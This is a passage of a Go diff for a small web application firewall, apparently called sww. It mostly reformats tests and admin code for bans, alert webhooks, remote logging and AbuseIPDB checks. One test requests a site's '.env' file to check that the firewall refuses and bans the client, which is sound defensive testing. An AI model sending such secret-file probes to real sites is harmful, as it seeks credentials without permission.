|
||||||
|
|
||||||
endpoint, err := (&net.ListenConfig{}).Listen(
|
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1035,11 +935,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
|
|
||||||
// The endpoint takes connections and never answers, so the TLS
|
// The endpoint takes connections and never answers, so the TLS
|
||||||
// handshake of each waits on it, and no line is ever sent.
|
// handshake of each waits on it, and no line is ever sent.
|
||||||
endpoint, err := (&net.ListenConfig{}).Listen(
|
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1075,8 +971,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
|
|
||||||
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
||||||
`{instance="fsn1app1/blog"} `
|
`{instance="fsn1app1/blog"} `
|
||||||
if strings.Contains(metrics, dropped+"0\n") ||
|
if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
|
||||||
!strings.Contains(metrics, dropped) {
|
|
||||||
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1102,11 +997,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
// too.
|
// too.
|
||||||
line := out.line(t, "msg", "starting")
|
line := out.line(t, "msg", "starting")
|
||||||
if line["instance"] != instance {
|
if line["instance"] != instance {
|
||||||
t.Errorf(
|
t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
|
||||||
"start logged with instance %v, want %s",
|
|
||||||
line["instance"],
|
|
||||||
instance,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1137,14 +1028,10 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
wantRefused(t, url+".env")
|
wantRefused(t, url+".env")
|
||||||
|
|
||||||
post := webhook.waitFor(t, "ban", true)
|
post := webhook.waitFor(t, "ban", true)
|
||||||
if post.alert["client"] != localhost ||
|
if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
|
||||||
post.alert["netblock"] != localhost+"/32" ||
|
|
||||||
post.authorization != "Bearer "+adminSecret {
|
post.authorization != "Bearer "+adminSecret {
|
||||||
t.Errorf(
|
t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
|
||||||
"the webhook was sent %v, with Authorization %q",
|
post.authorization)
|
||||||
post.alert,
|
|
||||||
post.authorization,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The webhook fails, so the alert for the ban made permanent by the
|
// The webhook fails, so the alert for the ban made permanent by the
|
||||||
@@ -1156,7 +1043,24 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
|
|
||||||
// alerts.json keeps it as sww stops, and once started again,
|
// alerts.json keeps it as sww stops, and once started again,
|
||||||
// sww sends it.
|
// sww sends it.
|
||||||
wantPermanentBanAlertWaiting(t, dir)
|
var file struct {
|
||||||
|
Waiting map[string][]struct {
|
||||||
|
Event string `json:"event"`
|
||||||
|
} `json:"waiting"`
|
||||||
|
}
|
||||||
|
|
||||||
|
path := filepath.Join(dir, "alerts.json")
|
||||||
|
|
||||||
|
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
||||||
|
if err == nil {
|
||||||
|
err = json.Unmarshal(data, &file)
|
||||||
|
}
|
||||||
|
|
||||||
|
waiting := file.Waiting["webhook"]
|
||||||
|
if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
|
||||||
|
t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
|
||||||
|
"the webhook", data, err)
|
||||||
|
}
|
||||||
|
|
||||||
// It counts the alert sent in the metrics, read here from a client the
|
// It counts the alert sent in the metrics, read here from a client the
|
||||||
// ban does not cover.
|
// ban does not cover.
|
||||||
@@ -1188,37 +1092,6 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
|
|
||||||
// alert waiting for the webhook, the permanent_ban alert.
|
|
||||||
func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
var file struct {
|
|
||||||
Waiting map[string][]struct {
|
|
||||||
Event string `json:"event"`
|
|
||||||
} `json:"waiting"`
|
|
||||||
}
|
|
||||||
|
|
||||||
path := filepath.Join(dir, "alerts.json")
|
|
||||||
|
|
||||||
//nolint:gosec // a file in the test's directory
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err == nil {
|
|
||||||
err = json.Unmarshal(data, &file)
|
|
||||||
}
|
|
||||||
|
|
||||||
waiting := file.Waiting["webhook"]
|
|
||||||
if err != nil || len(waiting) != 1 ||
|
|
||||||
waiting[0].Event != "permanent_ban" {
|
|
||||||
t.Fatalf(
|
|
||||||
"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
|
|
||||||
"the webhook",
|
|
||||||
data,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -1256,8 +1129,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
slackPost := slack.firstPost(t)
|
slackPost := slack.firstPost(t)
|
||||||
err := json.Unmarshal([]byte(slackPost.body), &message)
|
err := json.Unmarshal([]byte(slackPost.body), &message)
|
||||||
|
|
||||||
if err != nil ||
|
if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
|
||||||
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
|
|
||||||
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
||||||
t.Errorf("Slack was sent %s", slackPost.body)
|
t.Errorf("Slack was sent %s", slackPost.body)
|
||||||
}
|
}
|
||||||
@@ -1292,22 +1164,14 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
|
|
||||||
err := os.WriteFile(
|
err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
|
||||||
filepath.Join(dir, "bans.json"),
|
|
||||||
[]byte("{\n"),
|
|
||||||
0o600,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write bans.json: %v", err)
|
t.Fatalf("write bans.json: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The file ends at the newline that is the second byte of its first
|
// The file ends at the newline that is the second byte of its first
|
||||||
// line.
|
// line.
|
||||||
wantStartRefused(
|
wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
|
||||||
t,
|
|
||||||
dir,
|
|
||||||
filepath.Join(dir, "bans.json")+", line 1, column 2: ",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
||||||
@@ -1317,29 +1181,6 @@ func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
|||||||
"SWW_STATE_DIR cannot be written: ")
|
"SWW_STATE_DIR cannot be written: ")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ctx, stop := context.WithTimeout(t.Context(), waitLimit)
|
|
||||||
defer stop()
|
|
||||||
|
|
||||||
out := &output{}
|
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
|
||||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
|
||||||
}, out)
|
|
||||||
if status != 1 {
|
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
|
||||||
}
|
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
|
||||||
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
|
||||||
"SWW_CACHE_DIR cannot be written: ") {
|
|
||||||
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantStartRefused runs sww with its state files in dir, and
|
// wantStartRefused runs sww with its state files in dir, and
|
||||||
// checks that it stops at start, with an error that starts with want. If
|
// checks that it stops at start, with an error that starts with want. If
|
||||||
// it starts instead, it is stopped after waitLimit.
|
// it starts instead, it is stopped after waitLimit.
|
||||||
@@ -1358,15 +1199,11 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
line := out.line(t, "msg", "cannot use the state files")
|
||||||
message, _ := line["error"].(string)
|
message, _ := line["error"].(string)
|
||||||
|
|
||||||
if !strings.HasPrefix(message, want) {
|
if !strings.HasPrefix(message, want) {
|
||||||
t.Errorf(
|
t.Errorf("start refused with %q, want an error starting %q", message, want)
|
||||||
"start refused with %q, want an error starting %q",
|
|
||||||
message,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1424,18 +1261,14 @@ func runUntilStopped(
|
|||||||
exited <- run(ctx, env, out)
|
exited <- run(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
use("http://" + addr + "/")
|
use("http://" + addr + "/")
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
@@ -1477,12 +1310,7 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
|
|
||||||
for name, value := range want {
|
for name, value := range want {
|
||||||
if settings[name] != value {
|
if settings[name] != value {
|
||||||
t.Errorf(
|
t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
|
||||||
"starting line gives %s=%v, want %v",
|
|
||||||
name,
|
|
||||||
settings[name],
|
|
||||||
value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1522,11 +1350,7 @@ func messages(t *testing.T, received string) []string {
|
|||||||
|
|
||||||
_, message, ok := strings.Cut(record, header)
|
_, message, ok := strings.Cut(record, header)
|
||||||
if !ok || !strings.HasPrefix(record, "<134>1 ") {
|
if !ok || !strings.HasPrefix(record, "<134>1 ") {
|
||||||
t.Fatalf(
|
t.Fatalf("record %q, want priority <134> and header %q", record, header)
|
||||||
"record %q, want priority <134> and header %q",
|
|
||||||
record,
|
|
||||||
header,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
found = append(found, message+"\n")
|
found = append(found, message+"\n")
|
||||||
@@ -1591,10 +1415,7 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for line := range strings.Lines(metrics) {
|
for line := range strings.Lines(metrics) {
|
||||||
value, found := strings.CutPrefix(
|
value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
|
||||||
strings.TrimSpace(line),
|
|
||||||
series+" ",
|
|
||||||
)
|
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -1628,11 +1449,7 @@ func writeLookupDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
placed + "/32": {
|
placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
|
||||||
ASN: "AS64496",
|
|
||||||
ASName: "Example Net",
|
|
||||||
Country: country,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1670,8 +1487,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
|
|||||||
|
|
||||||
path := filepath.Join(dir, "bans.json")
|
path := filepath.Join(dir, "bans.json")
|
||||||
|
|
||||||
//nolint:gosec // a file in the test's directory
|
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read bans.json: %v", err)
|
t.Fatalf("read bans.json: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1713,11 +1529,7 @@ func wantStatus(t *testing.T, url, from string, status int) {
|
|||||||
// request, since sww may not watch its directory yet when it is
|
// request, since sww may not watch its directory yet when it is
|
||||||
// first written. It waits as long as that takes, so that a slow test
|
// first written. It waits as long as that takes, so that a slow test
|
||||||
// process cannot fail the test.
|
// process cannot fail the test.
|
||||||
func saveUntilAnswered(
|
func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
|
||||||
t *testing.T,
|
|
||||||
path, content, url, from string,
|
|
||||||
status int,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for {
|
for {
|
||||||
@@ -1849,11 +1661,7 @@ func startWebhook(t *testing.T) *webhook {
|
|||||||
// waitFor waits until the webhook has been sent an alert for event that
|
// waitFor waits until the webhook has been sent an alert for event that
|
||||||
// it took, or, unless answered, failed, and returns it. It waits as long
|
// it took, or, unless answered, failed, and returns it. It waits as long
|
||||||
// as that takes, so that a slow test process cannot fail the test.
|
// as that takes, so that a slow test process cannot fail the test.
|
||||||
func (w *webhook) waitFor(
|
func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
|
||||||
t *testing.T,
|
|
||||||
event string,
|
|
||||||
answered bool,
|
|
||||||
) webhookPost {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for {
|
for {
|
||||||
|
|||||||
+22
-113
@@ -9,16 +9,11 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"regexp"
|
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
// The time zone database, so that the process TestMainRunsWAF starts
|
|
||||||
// finds the zone TZ names on any host.
|
|
||||||
_ "time/tzdata"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
@@ -39,122 +34,49 @@ func TestMain(m *testing.M) {
|
|||||||
os.Exit(sww.Main(testVersion))
|
os.Exit(sww.Main(testVersion))
|
||||||
}
|
}
|
||||||
|
|
||||||
// startProcess starts cmd and returns a channel that gets its exit status. As
|
|
||||||
// the test ends, cmd is killed and the test waits for it to exit.
|
|
||||||
func startProcess(t *testing.T, cmd *exec.Cmd) <-chan int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
err := cmd.Start()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("start: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
exited := make(chan int, 1)
|
|
||||||
waitReturned := make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
_ = cmd.Wait()
|
|
||||||
exited <- cmd.ProcessState.ExitCode()
|
|
||||||
|
|
||||||
close(waitReturned)
|
|
||||||
}()
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
_ = cmd.Process.Kill()
|
|
||||||
|
|
||||||
<-waitReturned
|
|
||||||
})
|
|
||||||
|
|
||||||
return exited
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMainRunsWAF(t *testing.T) {
|
func TestMainRunsWAF(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Kiritimati is 14 hours ahead of UTC; every time sww gives stays in UTC.
|
|
||||||
const zone = "Pacific/Kiritimati"
|
|
||||||
|
|
||||||
_, err := time.LoadLocation(zone)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load %s: %v", zone, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
binary, err := os.Executable()
|
binary, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("find the test binary: %v", err)
|
t.Fatalf("find the test binary: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
dir := t.TempDir()
|
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
//nolint:gosec // this test binary
|
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
|
||||||
cmd := exec.CommandContext(t.Context(), binary)
|
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
"TZ="+zone,
|
|
||||||
commandForMain+"="+wafCommand,
|
commandForMain+"="+wafCommand,
|
||||||
listenAddr+"="+localhost+":0",
|
listenAddr+"="+localhost+":0",
|
||||||
stateDir+"="+dir,
|
stateDir+"="+t.TempDir(),
|
||||||
cacheDir+"="+dir,
|
|
||||||
rulesDir+"="+t.TempDir(),
|
rulesDir+"="+t.TempDir(),
|
||||||
lookupSource+"=off")
|
lookupSource+"=off")
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("start: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
starting := out.lineBeforeExit(t, "starting", exited)
|
t.Cleanup(func() {
|
||||||
addr, _ := starting["address"].(string)
|
_ = cmd.Process.Kill()
|
||||||
|
_ = cmd.Wait()
|
||||||
|
})
|
||||||
|
|
||||||
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
|
ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
|
||||||
|
|
||||||
// The files are written as sww stops.
|
|
||||||
err = cmd.Process.Signal(syscall.SIGTERM)
|
err = cmd.Process.Signal(syscall.SIGTERM)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("signal: %v", err)
|
t.Fatalf("signal: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
select {
|
err = cmd.Wait()
|
||||||
case status := <-exited:
|
|
||||||
if status != 0 {
|
|
||||||
t.Fatalf(
|
|
||||||
"exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Fatal("still running after being told to stop")
|
|
||||||
}
|
|
||||||
|
|
||||||
wantUTC(t, "the process line", starting["time"])
|
|
||||||
wantUTC(t, "the request line", out.line(t, "type", "request")["time"])
|
|
||||||
|
|
||||||
path := filepath.Join(dir, "clients.json")
|
|
||||||
|
|
||||||
//nolint:gosec // a file in the test's directory
|
|
||||||
clients, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read clients.json: %v", err)
|
t.Errorf("exit: %v; output:\n%s", err, out.text())
|
||||||
}
|
|
||||||
|
|
||||||
stamp := regexp.MustCompile(`"\d{4}-\d\d-\d\dT[^"]*"`)
|
|
||||||
|
|
||||||
times := stamp.FindAllString(string(clients), -1)
|
|
||||||
if len(times) == 0 {
|
|
||||||
t.Errorf("clients.json holds no time:\n%s", clients)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, stored := range times {
|
|
||||||
wantUTC(t, "clients.json", strings.Trim(stored, `"`))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantUTC checks that value, a time read from the log line or file that
|
|
||||||
// where names, is in UTC.
|
|
||||||
func wantUTC(t *testing.T, where string, value any) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
text, _ := value.(string)
|
|
||||||
if !strings.HasSuffix(text, "Z") {
|
|
||||||
t.Errorf("%s gives the time %v, want one in UTC", where, value)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -188,11 +110,7 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
|
|||||||
|
|
||||||
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
|
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
|
||||||
if !strings.Contains(stderr.String(), name) {
|
if !strings.Contains(stderr.String(), name) {
|
||||||
t.Errorf(
|
t.Errorf("stderr %q does not name %s", stderr.String(), name)
|
||||||
"stderr %q does not name %s",
|
|
||||||
stderr.String(),
|
|
||||||
name,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -230,13 +148,8 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
|
|||||||
|
|
||||||
if res.StatusCode != status ||
|
if res.StatusCode != status ||
|
||||||
res.Header.Get(waf.DispositionHeader) != disposition {
|
res.Header.Get(waf.DispositionHeader) != disposition {
|
||||||
t.Errorf(
|
t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
|
||||||
"answered %d with disposition %q, want %d with %q",
|
res.Header.Get(waf.DispositionHeader), status, disposition)
|
||||||
res.StatusCode,
|
|
||||||
res.Header.Get(waf.DispositionHeader),
|
|
||||||
status,
|
|
||||||
disposition,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -254,18 +167,14 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
|
|||||||
exited <- run(ctx, env, out)
|
exited <- run(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
use(addr)
|
use(addr)
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
|
|||||||
@@ -26,11 +26,7 @@ type abuseIPDB struct{}
|
|||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
|
|
||||||
func (abuseIPDB) check(
|
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||||
ctx context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
if rq.h.config.AbuseIPDBKey == "" {
|
if rq.h.config.AbuseIPDBKey == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
|
|||||||
|
|
||||||
rq.abuseIPDBHit = true
|
rq.abuseIPDBHit = true
|
||||||
rq.addTag(config.AbuseIPDBTag)
|
rq.addTag(config.AbuseIPDBTag)
|
||||||
rq.noteHit(
|
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||||
bans.ReputationHit{
|
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
||||||
Source: reputation.AbuseIPDBSource,
|
|
||||||
Score: &score,
|
|
||||||
},
|
|
||||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
|
|
||||||
)
|
|
||||||
|
|
||||||
if rq.h.config.ReputationAction != deny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
+11
-47
@@ -31,8 +31,7 @@ var (
|
|||||||
errNotBanToAdd = errors.New(
|
errNotBanToAdd = errors.New(
|
||||||
"the body is not a JSON object of netblock, duration and reason")
|
"the body is not a JSON object of netblock, duration and reason")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
|
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
|
||||||
)
|
|
||||||
errMappedNetblock = errors.New(
|
errMappedNetblock = errors.New(
|
||||||
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
||||||
errZone = errors.New("has a zone, which a netblock cannot have")
|
errZone = errors.New("has a zone, which a netblock cannot have")
|
||||||
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case token == "":
|
case token == "":
|
||||||
http.Error(
|
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||||
rq.out,
|
|
||||||
http.StatusText(http.StatusNotFound),
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
case !hasToken(rq.in, token):
|
case !hasToken(rq.in, token):
|
||||||
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
||||||
http.Error(
|
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
|
||||||
rq.out,
|
|
||||||
http.StatusText(http.StatusUnauthorized),
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
default:
|
default:
|
||||||
answer()
|
answer()
|
||||||
}
|
}
|
||||||
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
|
|||||||
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
||||||
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
||||||
func (rq *request) readBanToAdd() (banToAdd, error) {
|
func (rq *request) readBanToAdd() (banToAdd, error) {
|
||||||
data, err := io.ReadAll(
|
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
|
||||||
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
|
|
||||||
)
|
|
||||||
rq.requestBytes = int64(len(data))
|
rq.requestBytes = int64(len(data))
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
|
|||||||
// Token returns io.EOF only when nothing but whitespace is left.
|
// Token returns io.EOF only when nothing but whitespace is left.
|
||||||
_, err = decoder.Token()
|
_, err = decoder.Token()
|
||||||
if !errors.Is(err, io.EOF) {
|
if !errors.Is(err, io.EOF) {
|
||||||
return banToAdd{}, fmt.Errorf(
|
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
|
||||||
"%w: more follows the object",
|
|
||||||
errNotBanToAdd,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return toAdd, nil
|
return toAdd, nil
|
||||||
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
netblock, err := netip.ParsePrefix(value)
|
netblock, err := netip.ParsePrefix(value)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if netblock.Addr().Is4In6() {
|
if netblock.Addr().Is4In6() {
|
||||||
return netip.Prefix{}, fmt.Errorf(
|
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
|
||||||
